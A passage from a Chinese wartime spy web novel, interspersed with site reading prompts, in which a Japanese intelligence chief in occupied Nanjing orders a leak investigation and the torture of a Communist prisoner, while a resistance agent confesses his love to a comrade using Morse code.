渡边将报纸摆正,认真地研读着。 好一会儿,渡边才抬头说道:“从这些照片的拍摄角度看,照片拍摄者应是进入到图书馆内部大楼,而且是站在楼上。” “还有吗?”黑木继续问道。 渡边又思索了片刻,道:“这个人如果不是偷偷潜入,那么必定通过了我们的岗哨检查,假如是后者,那很显然是我们内部人干的。” 黑木未马上表态,他一手按着渡边的肩膀,慢慢站起,离开沙发低头在房间里来回走了一圈,又在渡边的对面站定。 “这件事就交由你来办吧!” 渡边点了点头。 “你从明天起,把手头的所有工作都放下,全力侦破此案!” 渡边并未正襟危坐回复“是”,依旧继续点头。刚刚黑木撑着她的身体站起,表现出十分亲昵地样子,她渡边也就没必要太过严肃,毕竟房间里只有他们二人。 “我明天给宪兵司令部去电,你会同宪兵司令部特高课吉田多江一起侦办!”黑木又开始踱步,很快转过身子又道:“我给你一个破案思路!” “将军请说。”渡边这才坐正了身子。 “你了解一下,是哪支部队具体经手金陵图书馆的搬运工作,查出具体时间;调查一下在搬运期间进出图书馆的外来人员,重点查进入图书馆大楼的人员,一个也不要放过!另外,你到图书馆实地勘察一下,依据报纸上的照片,找到拍摄角度,查明拍摄地点!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“是!”渡边站了起来。 “还有,为了缩小排查范围,你拿着这份报纸找到参与搬运的当事人,让他们根据照片上的人物样貌,锁定这张照片具体的拍摄时间!” 黑木布置完工作,这才决定前往老虎桥监狱。 他今夜还有另一件任务,审讯共党嫌犯——镰刀。 外面的雨还没有停的意思。 时间已经很晚,黑木并未动用太多的警卫力量,只是另外叫了行动处的几名日籍队员,一行人当即驱车向老虎桥监狱行进而去。 当下南京城的“治安”,黑木已无须多虑。 随着对南京城有条不紊的治理,良民证的逐步施行,近些日子,以往令人提心吊胆的枪击事件已然鲜闻,看来,“奴化”的管理已见成效!想到此处,这多少让今晚的黑木内心涌上些许安慰。 而良民证的主导单位,就是黑木的松机关! 可是,这些成绩,竟然被他们忽略,他们的眼睛只盯着他的过失。 思念及此,黑木瞳又愤愤不平起来。 车子才进老虎桥监狱,武内次郎就从大门一侧的岗亭里奔跑出来,他的手中握着一把伞,未待车子停妥,就恭立在车门一侧。 黑木前脚刚跨出车子,武内已经撑好伞。 “将军阁下,一切已准备妥当!” “武内君辛苦!” 黑木钻进伞里,在众人的簇拥下进了监狱大楼。 武内收起伞,将伞递给已候迎在楼内的副典狱长陈炳松。 黑木对陈炳松微微一笑,算是对他的招呼,然后站在原地,等到武内再次跟上后对他说道:“你带路,我们去看看刘云雄!” 武内赶紧吩咐陈炳松去取甲区8号监房的钥匙,被黑木制止。 “我们就是在门外看看。”黑木接着转身吩咐随从人员:“你们都到一号审讯室等我。” 黑木带着武内以及渡边雪奈直奔甲区8号监房而去。 临近刘云雄的监房,黑木做了个噤声的手势,率先蹑手蹑脚走到监房门口。 透过监房的观察门洞,里面的情形一目了然。 昏黄的灯光下,林云雄盘着双腿,坐在床板上。他身板挺直,双眼微闭,面无表情。 不远处的一张桌上,送来的饭菜依旧摆放着,竟然一筷未动。 黑木就这样静静地观察了将近一分钟,这过程中,刘云雄身体几乎纹丝不动。 黑木内心暗暗称赞。 直到远离了刘云雄的监房,黑木才向武内问道:“他一直这样吗?” “是的,从中午他提出要求遭拒后,他就这样坐着,也不说话。” 黑木的眼里浮现出一丝担忧,半晌说道:“明天上午你姑且先答应他的要求,他和你我一样,都是军人,性格刚烈,我看他决心已下,切不可等闲之!” 几人一边说着话,不觉来到第一审讯室。 身份尊贵的犯人专享审讯室。 武内已让人给黑木将军准备好了一杯温热的咖啡。 黑木满意地坐了下来,端起咖啡杯,轻呷一口。咖啡的醇香伴着一股暖流顺着黑木的喉咙蜿蜒而下,热气在他的身体里迅速荡漾开来,忽然间就驱走了冬夜的阴寒和倦怠之气。 “带镰刀!”黑木命令道。 黑木的前方数米远,专门为犯人准备的一张刑椅上方,一盏大功率的白炽灯强光刺眼。 那是为镰刀准备的。 黑木和镰刀虽然只见过短暂的一面,但就那一面,他已规划好了审讯思路。 那一面,黑木的印象中,已把刘云雄和“镰刀”进行了严格的区分。 共产党嫌犯“镰刀”和国民党嫌犯刘云雄的气质有着本质的差别,“镰刀”相貌平凡,而刘云雄却有一股凛然不可侵犯的威严。因而,这谋面“镰刀”的那一刻。黑木就决定对二人采取不同的审讯措施。 一文一武,相得益彰! 一文一武,静观后效! 一文一武,量体裁衣! 当然,对付“镰刀”必须采用武攻,他素闻共党一向钢筋铁骨,他倒要亲自验证一下,此传闻到底有多大的可信度! 当然,对付刘云雄,文攻为主,武攻为辅,他要尽可能感化此人,兵不血刃地达成目的! 这倒像是一项有趣的实验,黑木忽然对自己的奇思妙想充满了无限的自恋。 很快,门外的走廊上,传来一串凌乱而凝重的脚镣声。 门徐徐推开,“镰刀”出现在他的面前。 他手戴手铐,脚负脚镣,步履艰难地出现在众人的面前。 共党嫌犯“镰刀”,原名肖逸,今年32岁,曾就读于苏联伏龙芝军事学院,专业不详,未毕业,37年奉命回国,服务于延安! 此时的黑木和“镰刀”的双目忽然就紧紧地纠缠在了一起。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第117章 刑讯逼供 第一审讯室一切准备妥当,刑讯区架设的铁盆火炉里冒着暗红的火光,猩红燃烧的炭火不时遭遇到空气中的水汽,发出滋滋的声音。 炭火产生的热量,驱走了冬夜的寒气,竟然使得房间里温暖如春。 此时的黑木已抛去一切烦恼,他是一名战士,文化掠夺的泄密事件只是他军旅生涯的一个小小的挫折。 现在,新的战斗已经打响,他必须打足精神,心无旁骛,向另一座高地发起冲锋。 他执着地认为,这是一轮新的博弈,如何开局,事关全局,落子无悔。 黑木将手中的咖啡杯递给了身旁的渡边,立即起身走上前去。 押解“镰刀”的人员看到黑木径自朝他们走来,便驻足不前。 黑木走近“镰刀”,来到他的身前。眼前的“镰刀”昂着头,目光四处游动,正打量着这个陌生的环境,眼神中竟无一丝怯意。黑木轻轻咳嗽一声,意在唤起对方的注意力。 “镰刀”果然将收起的目光投向了他。 黑木的嘴角扬起微微的笑意,双目凝聚一处,射向对方的眼睛。 “镰刀”也微微笑着,目光竟不躲闪,坚定地迎了上来,毫无惧色。 对方分明是在挑衅自己!如果可以把这场审讯视为一盘棋局,很显然,双方都是采取了攻势,当然,作为松机关的机关长,黑木占尽了天时地利和人和,乃是主场作战,且是先行落子。 假如这是一盘象棋局的对弈,黑木的首步分明采用的是炮二平五,直接威胁对方的中路卒子,可是对方不为所动,同样也反架中炮,以其人之道还治其人之身! 黑木瞳忽然间意气风发起来,他的斗志已被激发。 “姓名?”黑木抖擞起精神,提高声音问道。 对方视而不见听而不闻,竟毫无反应。 黑木的脸上泛起一丝轻蔑地笑容,慢慢地扩展开来。他将手一挥,示意将“镰刀”带离。 狱警把镰刀”押上了刑椅。 手铐和脚链很快褪下,“镰刀”的手脚被固定在了刑椅上。 “镰刀”头顶上的一盏更大功率的白炽灯瞬间被点亮。 刺眼的光芒使得审讯室如同白昼,“镰刀”条件反射地蹙眉,微微闭上了眼睛。 “再给你一次机会,姓名?” 刑椅上的“镰刀”睁开眼睛,看了黑木一眼,俄顷之后,又再次闭上了眼睛。 黑木心中愠怒,向前跨出一步,用食指戳着对方的额头,稍加用力,对方的脑袋立即仰起,苍白的灯光一下子倾泻在他的脸上。 一张年轻的脸,竟带着些许稚气。 黑木的心中立时涌起一股失落,对方比自己年轻很多,显然不是一个势均力敌的对手,况且,在这场对弈中,对方的处境可算得上是四面楚歌,除了据守并无任何反击的可能,他为鱼肉我为刀俎,接下来只能坐以待毙! “自我介绍一下,我是黑木瞳将军,大日本帝国南京松机关的机关长,我受到过帝国的高等教育,向来对刑讯逼供这一套嗤之以鼻,如果你不想逼我动粗,我劝阁下还是配合一下,以免得伤了阁下的尊严!” “镰刀”努力睁开眼,不再畏惧刺目的灯光,后来索性双目圆睁,目光逼人,盯着黑木道:“久仰了,黑木将军,看得出你很自信,但我坦言相告,如果你不打算用刑具,凭你三言两语,你是问不出任何东西的!” “这么说,阁下是要逼我喽?逼我撕下文明的外衣,做一个野蛮的人?” “难道将军一直把自己当成了文明人?”“镰刀”呵呵笑了起来,“再华丽的外衣也掩饰不了你们丑恶的本性!” 黑木挤出一丝笑容:“看来阁下对我们的误解很深啊,你放眼看看,当下之国际,战火已在欧亚两洲燃起,大有绵延之势,如果阁下稍有些见识,一定知道有两个国家正异军突起,一为欧洲的德意志,它将在整个欧洲刮起一股风暴;而亚洲则数我大日本帝国一枝独秀,我帝国的将士也必将在不日后席卷整个亚洲,成为亚洲乃至整个世界的领导者!我们并不是野蛮侵占,而是对世界格局的重新洗牌,自古以来,战争本就是胜利者站在废墟上的舞蹈,获胜的一方,必定是凭借先进的文化,来取而代之落后的文化,文化,作为文明的主要象征,阁下怎可用‘野蛮’一词来玷污它圣洁的光辉?所以我不得不怀疑是阁下冥顽不化!” “将军是想给我洗脑吗?”“镰刀”淡淡道,“我真不知将军到底想要什么,你若是想从我身上获得一些有用的情报,那我可以直接告诉你……” 黑木心中一喜,赶紧追问道:“阁下快讲!” “镰刀”的脸上浮现出嘲弄之色:“我可以直接告诉你,你的废话太多了!” 黑木再也绷不住了,声音开始严厉起来:“看来你是一个固执的人,对待一个固执的人,我有很多固执的办法!” “来吧!”“镰刀”收起目光,闭上了眼睛。 这章没有结束,请点击下一页继续阅读!黑木再也矜持不起来,自己憋足气力打出的一拳仿佛是击在了棉花上,内心愤怒的火苗一下子腾腾的燃烧起来,但众多下属在场,又不便表现出来,就背着双手走回原位,努力地笑着对渡边和武内一众人道:“我们不妨做个试验,诸位都来猜上一猜,看这位先生到底能过几关?” 老虎桥监狱的副典狱长陈炳松马上探身上前,媚笑道:“我猜他一关都过不了,他是没有见识到我们老虎桥监狱刑具的厉害!” 黑木把目光从陈炳松身上移开,似笑非笑看着武内次郎,“武内君,你说说看?” 武内次郎道:“我猜两关,如果他两关都过不了,我会看不起他的,也会辜负了将军的亲自审讯啊!” 黑木又看着渡边雪奈,问道:“渡边小姐以为呢?” 渡边不屑道:“这要看谁来动手,如果让我亲自来,我保证他过不了一关!” “难道渡边少佐对审讯这一套也有浓厚的兴趣?”黑木未等渡边表态,摇了摇头继续道:“渡边小姐还是和我一样,当个看客好,千万别弄脏了自己的手!” 此时的黑木已忘记了心中的不快,走近武内次郎,拍了拍他的肩膀大声道:“好,下面就看武内君的了!” 武内手一挥,两名精悍的日本士兵疾步上前,他们已卸去外衣,捋起衣袖。 “你们一定要先易后难,循序渐进,不可操之过急!” 在“镰刀”的刑椅南侧不远处,浇铸了两根足有成人手臂粗细的铁柱,顶端的横梁上,固定着两只手动起重葫芦,两根锈迹斑斑的铁链冰冷地悬在半空中。 看得出,这一套刑具已经很久没人“享用”过。 “镰刀”手脚上的桎梏被解开,两名日本士兵把他押到刑架旁。 “镰刀”的上衣被褪去,只留下一件衬衫。 很快,“镰刀”被反绑着双手,从身后固定在了铁链上。两名日军士兵一起拉动手动葫芦上的另一条铁链……镰刀的双手从身后被慢慢绷紧,接着他的身体逐渐离地,转眼之间,他已被悬吊在半空中! “镰刀”低垂着眼帘,脑袋微微低着,神色一如既往,看不出悲喜。 两位负责刑讯的日本士兵互相谦让了一番,其中一位个头稍壮的士兵获得了执掌的权利,他从铁架后拎起了一根皮鞭! 皮鞭黝黑铮亮,足有两根大拇指粗细,说是皮鞭,其实是用荆条和剑麻的纤维缠绕而成。 荆是马鞭草科的一种落叶灌木,从古至今就一直作为刑杖的御用材料,但凡有点文化的人,闻听此词必然色变,对它敬仰有加;而剑麻,是热带植物,它的纤维坚韧耐磨,二者的结合,堪称完美组合,相得益彰。 房间里所有人的目光此时都聚焦在手执皮鞭的士兵身上。 这位士兵顿时显得无比亢奋。 他把衣袖再次向上捋了捋,三两步来到“镰刀”的身前。 众人再把目光射向“镰刀”,他的脑袋垂得更低了,看不清他的表情。 “啪”那名士兵果断地抽出一鞭,这一鞭,分明是热身,他又调整了一下身位,尽量让自己操作时更加顺手。 这一鞭下来,“镰刀”一声未哼。 众人的目光下,那位士兵又扭捏地抽出第二鞭! 这一鞭,由于姿势调整得当,明显要重于第一鞭,鞭子传递出的力量居然使得“镰刀”悬在半空的身体动荡起来。 鞭子抽在“镰刀”的胸前,马上在白色的衬衣上留下一条鞭痕。 站在一旁的第二名士兵趋步上前,连忙扶正了“镰刀”的身体,阻止他的身体进一步的晃动。待这一切做完后,他对行刑的士兵使了一个眼色,示意对“镰刀”的鞭刑可以正式开始了。 这名士兵马上做出一副正式参赛的模样,回头扫了一眼众人,把皮鞭夹在臂弯里,搓了搓双手,然后不慌不忙地取出皮鞭。 接着皮鞭如暴雨般的抽在“镰刀”身上。 鞭声急促而凌乱,在这样一个冬日的雨夜发出一串串阴沉而心惊的响声。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第118章 不眠之夜 伴随着“镰刀”的声声惨叫,执鞭的士兵一口气抽出五十多鞭,直到自己精疲力竭,这才罢手。 人的力气就像是井里的水,不可能取之不尽用之不竭,如果消耗太快,井水也会很快见底,只能通过时间的积蓄,水才会再次渗透,积少成多。 执鞭的士兵此时如同枯竭的水井,力气已消耗殆尽,竟然连手中的皮鞭也无力握住,皮鞭滑落在地。他弯着腰,双手分别按在双腿上,大口喘着粗气。 悬吊在刑架上的“镰刀”,脑袋完全低垂,濡湿的头发散乱地遮住了脸庞,大颗大颗的汗滴从最低处的头发末梢砸向地面,在地上扬起了少许尘土。“镰刀”胸前的白衬衣上,已然发黑,鞭痕纵横交错,渗出的血迹在衣襟上显得一片狼藉。 黑木满意地走到“镰刀”身下,充满期待问道:“现在,你可以告诉我你的名字了吧?” “镰刀”吃力地将脑袋抬高些许,盯着黑木看了片刻,忽然间极速地摇动着脑袋,随着脑袋的晃动,他发际中的汗珠立即雨点般地飞溅,不少汗滴击在了黑木的脸上,黑木慌忙后退几步,连忙掏出手帕擦脸,汗水虽然擦掉了,但那股浓浓的汗腥臭气却怎么也擦拭不掉,有着那么一丁点洁癖的黑木眉头皱得更厉害了,心情一下子恶劣起来,如同吞下一只苍蝇一样难受。 “继续!”黑木厌恶地挥挥手。 第二名士兵早就跃跃欲试,这一声令下,立即唤醒了他内心深处的邪恶,他快步来到“镰刀”身旁,启动铁架上的手动葫芦,将“镰刀”垂放下来。“镰刀”的脚一着地,便伸手去解他的衬衣,衬衣黏在破绽的皮肉上,一时间却不易解脱,他迟疑着,不知该不该采取果断手段。 不远处的黑木忽然发话道:“你是帝国的勇士,对待敌人怎能如此婆婆妈妈?” 话音刚落,那名士兵双手立即发力,生生地撕开了“镰刀”身上的衬衣。 衬衣从血肉模糊的结合处断然分离,随之而来的是“镰刀”凄厉的嚎叫声。 第一名士兵已稍事歇息,枯竭的水井里转眼间已蓄上了水,他毫不吝啬,连忙起身走到铁盆火炉旁。 铁炉里火光熊熊,这一段时间下来,炭火已完全燃烧,正值旺盛之际。 他从火炉中抽出一根通红的烙铁,在铁炉的边缘敲了敲,震掉上面的碳灰等杂物。 新鲜出炉的烙铁一旦离开了铁炉,立时失去了热量的供给,鲜艳妖娆的颜色马上黯淡下来,很快转成了猩红,再后来已然暗红一片。 这名士兵似乎在抢救一个快断气的生命,连忙拔腿跑了起来,生怕这个“生命”会夭折在自己手里,第二名士兵生怕风头又被他抢了,见状疾步迎了上去,像是在进行争分夺秒的生命接力救援,但这是个烫手的“生命”,他心里清楚知道,身体的任何部位是不可以碰到凸在前方的烙铁头,他的整个身体不由得斜向一侧,躲过暗红的烙铁头,伸手去接对方手中的烙铁手柄,由于身形极度夸张,伸手的方位拿捏不准,一股外来的力量立即传递到那位手握烙铁手柄的士兵手上,烙铁头即刻偏离了原有的位置,竟朝着第一名士兵的腰身而来,他大惊失色,身体斜得更厉害了,很快撞上了另一人的手臂……慌乱中烙铁“当啷”一声,掉在了地上。 烙铁在地上翻滚了几下,两人均十分害怕烙铁头会碰到自己的脚,条件反射地在地上跳动起来! 见此情形,黑木摇头长叹一口气。 武内次郎看到手下的士兵窘态百出,便径自走出人群,重新从铁炉中抓起一根烙铁,提着它向“镰刀”走来。 地上的烙铁终于被第二名士兵捡起,但已经黯然失色,他心中虽然沮丧,但却也不想枉劳一场,还是将烙铁伸向了“镰刀”。 “奄奄一息”的烙铁,在接触到“镰刀”的肉体后,立即奇迹般地复活,发出“滋滋”的声音,紧随而后的是袅袅的青烟。 “镰刀”绝望地喊叫一声。 一股刺鼻的烧焦羽毛的气味在空中慢慢扩散开来。 黑木用手中的手帕捂住鼻子,低头再次向“镰刀”走来。 武内次郎手中的烙铁依旧保持猩红,他本欲递给行刑的士兵,想了想还是决定亲自动手! 同样,武内的心中也充满了好奇和兴奋,他和那两名士兵一样,来自于一线作战部队,对刑讯这些手段从未接触,如今,得以亲手实施,总算是补上了这一课。 就在这眨眼的功夫,“镰刀”浑身的皮肤渗透出密密麻麻的汗珠,汗珠在重力的牵引下,向下缓缓移动,汇流一处,在鼻尖、嘴角、额头等身体的悬空处织出一条条细细的水线。 地上湿漉一片。 “镰刀”昏死了过去。 这注定是个不眠之夜。 似乎有着某种心灵感应的林赤独自一人爬上了大华电影院楼顶上的天台。 他坐在天台的水泥横梁上。 他并未带伞,任凭雨水打湿了头发和衣服。 这章没有结束,请点击下一页继续阅读!雨水在鼻尖、嘴角、额头等身体的悬空处织出一条条细细的水线。 登高远眺,整个南京城陷在一片无际的黑暗中,竟然很少看到一丝丝光亮。 他从未觉得南京城的夜晚如此黑暗。 四下一片寂静,只听到雨水撞击地面的声音。 林赤忽然想抽烟,他从内衣口袋摸出香烟,可是外衣口袋的火柴已经湿透。 就在这时,他突然觉得头顶上的雨水停了下来,他知道有一人站在了他的身旁。 这个人手持一把雨伞,替他遮住了冰冷的冬雨。 一个声音幽幽道:“是不是心里难过?” 是曲思秋的声音。林赤并未回答,只是问道:“你带火柴了吗?” 对方没有说话,有摸索的声音。她矮下了身子,将雨伞搁在林赤的肩上。一根火柴被划亮,火光映照着曲思秋秀丽的脸庞,她眉头紧锁,神色凄楚。 火光被送到林赤的面前,林赤将取出的香烟对着火光吸了几口。 烟头的红光跳动着,显得苍劲有力,在稠厚的夜色中忽明忽暗。 曲思秋直起身子,一手撑着雨伞,一手搭在林赤的肩上,静静地站在林赤的身后。雨水从伞的边缘倾泻而下,击在天台的水泥地上,飞溅的水珠在黑暗中妙曼轻舞。 就这样过了很长时间,直到林赤的这根烟只剩下短短的一截,曲思秋轻轻问道:“你在想什么?能和我说说吗?” 林赤尚未说话,曲思秋的一只手从他的身后缠绕而来,先是摩挲着他的额头,接着掠过他的鼻尖,然后停在他的嘴角,她用食指滑过他的上嘴唇,在嘴角拐了个弯,又滑向他的下嘴唇,一圈下来,食指回到起点,手掌缓缓贴在他的下巴上,食指和拇指一下子捏住了他的双颊,并微微用力。 她的手指锁住了林赤的双颊,林赤无法言语。 “还在想白天的事?”曲思秋话一出口,两根手指随之松了开来。 林赤知道她松开了手指,意味着命令他回话。 “嗯……”林赤话未说完,她的两根手指又开始用力。 “你那位瘦瘦高高的战友叫什么?”曲思秋再次松开手指。 林赤没有心情和她游戏,将手中的烟蒂弹出,伸手一把控制住她的手,曲思秋的手无法动弹,索性借势坐在了林赤的身旁。 “钱瑾余。”林赤说道。 “你对这项计划有把握吗?” 林赤想了想,一面摇头一面道:“不是很有把握。” “你了解他吗?” 林赤再次摇头。 曲思秋不无担忧说道:“你的这个计划风险太大了,完全系于钱瑾余一身,万一……” “你是担心他万一他扛不住,吐露出所有的秘密?” 曲思秋点头。 “毕竟,人是有极限的,一旦超出了他的承受力,你不是害了他?同时又害了自己?”曲思秋把林赤的手向自己身边拉了拉,继续道:“我现在有点担心你了,我真怕你出什么事……” 她的这番话情真意切,完全出自肺腑,林赤尽管心中千回百转,但不愿在这个问题上纠缠,话锋一转,问道:“你能告诉我,你是什么时候加入你的组织的?” “前年,我即将从金陵大学医科专业毕业的时候,我们的一位老师介绍我加入的。” 林赤奇道:“他们为什么发展你,你难道有什么过人之处?” 曲思秋脱口道:“信仰啊!我有对共产主义坚定不移的信仰!这难道还不够?” “如果只凭信仰,就能赶走日本鬼子,我也情愿选择信仰!”林赤沉默一会,又问:“你告诉我,你到底信仰她什么?” “人人平等!”曲思秋毅然说道。 林赤又沉默片刻,道:“除了医学和信仰,你还会什么?” “你这是歧视我!”曲思秋不满地叫了起来,不屑道:“你还不如我呢,我会的东西你肯定不会!不信咱们一项一项比比!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第119章 奇异的表白 雨声忽然轻微起来,从伞边缘的淅淅沥沥的雨滴可以判断,夜雨似乎小了很多。 林赤接过曲思秋手里的雨伞,从头顶上移开,果然,原本密集的雨滴转眼间已成为毛毛细雨。 林赤收起伞,饶有兴趣地对曲思秋说道:“你想和我比什么?” 曲思秋把林赤手里收起的伞放在地上,想了想说道:“我所说的第一样你就不会!” 林赤马上想起一事,不由得惊呼道:“你该不会和我比生孩子吧!这件事你就是打死我我也做不了!” 曲思秋脸一红,嗔怒道:“你真坏,我不想理你了!” “那还有什么事我不会的?”林赤好奇问道。 答案早就在曲思秋心中,她卖着关子道:“我不会欺负你的,我所说的肯定会让你心服口服!” “快说!”林赤喝道,他最烦别人卖关子。 他越急曲思秋越是不想说,继续从侧面吊着林赤的胃口,“如果我和你比医术,那你定会说我胜之不武,如果我要和你比女红,那你也不会服气,本小姐英雄本色,光明磊落,我今天就要让你自惭形秽,自愧不如!” 林赤索性不再追问,欲速则不达,便改口道:“你的火柴呢?借我一用。” 曲思秋连忙把掏出火柴,塞到林赤手里。 林赤不慌不忙掏出香烟,好半天才擦亮火柴,可烟忘了拿,便把手里的火柴摇灭,从内衣口袋掏出香烟,抽出一根…… 他点燃了一根烟,深深吸了一口,似乎发现哪儿不对,把香烟从嘴里取出,看着燃烧的烟头咦了一声:“这种紫金山牌的香烟怎么抽不出以前的味道啦?” 曲思秋不由问道:“哪儿不对?” 林赤抱怨道:“味道比以前淡多了,不过瘾!” 曲思秋对香烟不懂行,也不知怎么回答他,林赤继续道:“不过,烟味倒是没怎么变……” 曲思秋看他有关香烟的话题没完没了,不知什么时候才能切入正题,就迫不及待道:“你不和我比了?是不是怕输呀?” 林赤显得恍然大悟的样子,煞有介事说道:“你刚才说到哪儿了……哦,我想起来了,你说有一样我林赤不会,是吗?” 话题又重新续上,曲思秋得意地道:“我说出来你别吃惊!” 林赤再次盯着烟头看,兴趣似乎又转移到这款紫金山牌香烟上。 曲思秋立即说道:“收发报!” 林赤重新将烟塞到嘴里,猛地吸了一口,烟头的火光蓦然闪烁了一下,将暗红的光亮映衬到他的脸上。 曲思秋看到林赤一脸惊愕,以为他惊诧于自己所言,就不无得色补充道:“就是收发电报,怎么样,你不会吧?你是不是现在特别佩服我?”半晌,依旧不见林赤问话,又说道:“我料你也不会,你们这些大男人,只会拿枪打打杀杀,这么高难度的技术活又如何能够学得会?” 此时的林赤却无任何伪装的成分,他确实吃了一惊。 眼前的曲思秋得意洋洋,绝非托大。 “你不是学医的吗?什么时候学会了收发电报?”林赤一脸狐疑。 “我可以告诉你什么时候学会的,但我不可以告诉你我是如何学会的,这是我党的机密!” 林赤无奈地问:“你什么时候学会的?” “两年前。”曲思秋道。 “两年前?”林赤掐算着时间,“难道你们的党秘密培训过你们?” 曲思秋愣了一下,执着说道:“你想套我的话?就不告诉你!” “你们的党两年前在我们的党的眼皮底下秘密培训你们党的谍报人员?”林赤像是自言自语说道。 “就不告诉你!”曲思秋警惕性很高,反复重复着这句话。 “看来你们的党不可小视啊!”林赤喃喃道,“这分明是未雨绸缪!” “就不告诉你!” “别不告诉我啊!我试问一下,摩尔斯电码你会吗?” “当然会呀!这是入门级的,小儿科!”曲思秋不屑一顾。 “那好,我考考你,看你撒不撒谎!” “你考吧!”曲思秋满不在乎道,说着她忽然醒悟过来,奇道:“难道你也会摩尔斯电码?” “略知一二!”林赤淡淡说道。 “说吧,你怎么考我?”曲思秋问。 林赤把手中的烟蒂叼在嘴里,吸了一口,取下,用拇指和食指夹着,看了一眼烟头的红光,说道:“我用手里的这根烟头给你发信号,你必须很快说出是什么意思!” “好啊!”曲思秋站起来,和林赤拉开了一段距离。清了清嗓子:“好了,你开始吧!” “你可看好了!”林赤说完开始挥动手里的烟蒂,燃烧的烟头在夜色中划出了一道道或长或短的线条…… 很快,林赤动作完毕,他重新把手中的烟头衔在嘴里,他咕哝道:“曲小姐,说说吧,我刚才讲什么了?” 看不清她的神色。曲思秋似乎是在思考着什么,嘴里念念有词:“I-L-O-V-E-Y-O-U……”当她说完最后一个字母时,幡然醒悟过来,羞赧地说道:“I love you ,我爱你!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!至此,林赤知道曲思秋所言非虚。 曲思秋快步走近林赤,牵起他的手,问道:“你所说的是真的吗?” “苍天在上,黄土为证,天地为鉴,海枯石烂!”林赤庄重说道! 这是林赤第一次对曲思秋的直意表白,尽管不是用嘴亲口道出,而是采用了一种让曲思秋最意想不到的方式,这方式既诡秘又别具一格,既新颖又让人难忘,竟透出浓浓的、无尽的浪漫色彩,让曲思秋这颗少女的芳心一下子层峦叠嶂起来! 她的声音颤抖着,这是来自她的灵魂深处的声音,也是这个世界上最幸福的回音:“我也……” 林赤竟一把捂住了她的嘴,不让她继续说下去。 “你的这句话,留到赶走日本鬼子那一天再说!”林赤轻声说道。 曲思秋扒开林赤的手,不解说道:“为什么?” 林赤沉默了好久,才呐呐道:“这个世上哪有那么多为什么!” 曲思秋也不计较,在少女曲思秋的心里,她对林赤的情意天地可鉴,而林赤的表白则意义重大,关乎着她在林赤心目中的地位,这一点,是她迫切需要了解的! 夜色中,曲思秋和林赤相互凝视着。 曲思秋欢快地冲到天台的边缘,深深呼吸了一口微凉的空气,张开双臂,好像是在拥抱浓得化不开的夜色! 曲思秋并不知道,此时她所拥抱的是魍魉魑魅的黑暗之魔! 黑暗之魔,来自于地狱,对光明恨之入骨! 在黑暗之魔的眼里,光明是他的天敌,必须无情地扼杀! 从天台边缘返回,曲思秋想起了二人的比试并未分出胜负,想着想着就忽然联想到摩尔斯电码,不由好奇问道:“你怎么也会这些?” 林赤哈哈一笑,向楼下走去。 曲思秋不依不饶,追了上去。 “收发电报对我而言可是入门级的,完全是小儿科!你可别忘了,我曾游学于法国炮兵大学,它是我们学校的必修课!” …… 天还未亮,松机关的机关长黑木瞳将军就被噩梦惊醒。 历历在目的梦境,当他醒来后,居然想不起来了。感觉中,梦很凌乱,也很惊悚。 黑木坐在黑暗之中,怔怔发呆,他的梦境中,似乎出现了很多人,有松井石根将军,还有天皇,包括昨夜审讯的共党嫌犯“镰刀”,以及还有刘云雄……他努力回想着,渐渐地,一些片段像是电影的蒙太奇,在脑海中快速闪现。 他看到满眼的鲜血,看到“镰刀”恶狠狠的目光,看到天皇厌恶地眼神,以及松井石根将军嫌弃的苛责……其它的,任凭他怎么想,就再也想不出了。 黑木的大脑乱成一团麻,他知道他遭遇到职业生涯的最大危机。 他竟然赢得了天皇的关注,只不过,这种关注是因为他的失误!他的失误导致了帝国在国际上的声誉严重受挫,导致了国际舆论一边倒的谴责,导致了松井将军对他的不再信任,导致了同僚对他的耻笑…… 黑木羞辱地从床上爬起来,站到窗前。 拉开窗帘,连绵不休的雨已经停了,遥远的东方泛起一丝鱼肚白。 天快亮了。 黑木披起一件衣服。 他已经了无睡意,尽管这一夜,他其实仅仅睡了几个小时。 对“镰刀”的审讯让他精疲力竭,一直折腾到将近子夜时分,他昏死过去两次,依旧只字未吐。 他黑木太小看他了,那个清瘦的年轻人,本以为可以轻易突破,然而在对他肉体的百般折磨后,他还是牙关紧咬…… 下一步是不是该换种思路了! 黑木又想起文化泄密事件,这件案子的侦破在此时此刻显得如此迫切而重要! 他必须绝地反击!用辉煌的战绩来掩盖他的失败! 这如同一盘棋局,现在还只是开局阶段,自己刚形成的一条大龙已经陷入重重包围中,如果舍弃,则在有限的地盘中,他已没有太多的腾挪空间,胜率几乎为零! 必须救活这条大龙!黑木已下定决心。 可是,要救活这条大龙,就必须找到棋筋,那么,下一步的落子点到底在哪里呢? 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第120章 锄奸计划 天亮后不久,林赤就被一阵喧闹的声音吵醒了。 躺在床上的林赤稍加辨认,就明白声音是来自于隔壁悦颜照相馆。这是赶早前来免费拍摄良民证证件照的南京市民发出的。 这之后,嘈杂的声浪再未停止,林赤顿无睡意,匆匆起了床。 下楼时,听到门外有汽车戛然而止的声音,很快,陶楚歌一阵风撞门进来,林赤看到她手里提着热气腾腾的早点。陶楚歌看到林赤,却不意外,连忙说道:“我就知道你睡在诊所!”说着扬了扬手中的早点,“你连起床的时间都掐得这么准,是不是算出我会给你带早点啊?” “你对我会这么好?分明是给你思秋姐准备的吧!”林赤走到她面前,伸手去拿她手中的点心,陶楚歌立即将点心袋子藏在身后,一脸的不高兴,“就不给你,好心当成了驴肝肺,既然这样,你就给我饿着吧!” 林赤把手缩回,讪讪道:“你怎么知道我睡在诊所?” “我早晨起床后,特地去你的房间看了看,门紧闭着,敲门也没人应,你除了在诊所睡觉还有其它地方可去吗?”陶楚歌一脸自信。 林赤绕到她身旁,陶楚歌警惕性很高,身子跟着林赤转动,把手中的点心再次向身后藏了藏,嘴角向上翘了翘,顽皮地说道:“你是不是想乘我不在意,一把抢过去?你这种小把戏可瞒不过我!” “你误解我了!”林赤一脸委屈,“我是想去洗漱一下!” 林赤说完转过头正欲迈步,突然又回头问陶楚歌:“我起床以后一直没看到思秋,你知道她去哪儿了?” “我也刚来,没看到呀!”陶楚歌摇了摇。 林赤这时忽然把眼睛盯着大门,说道:“思秋,你一大早去哪儿啦?” 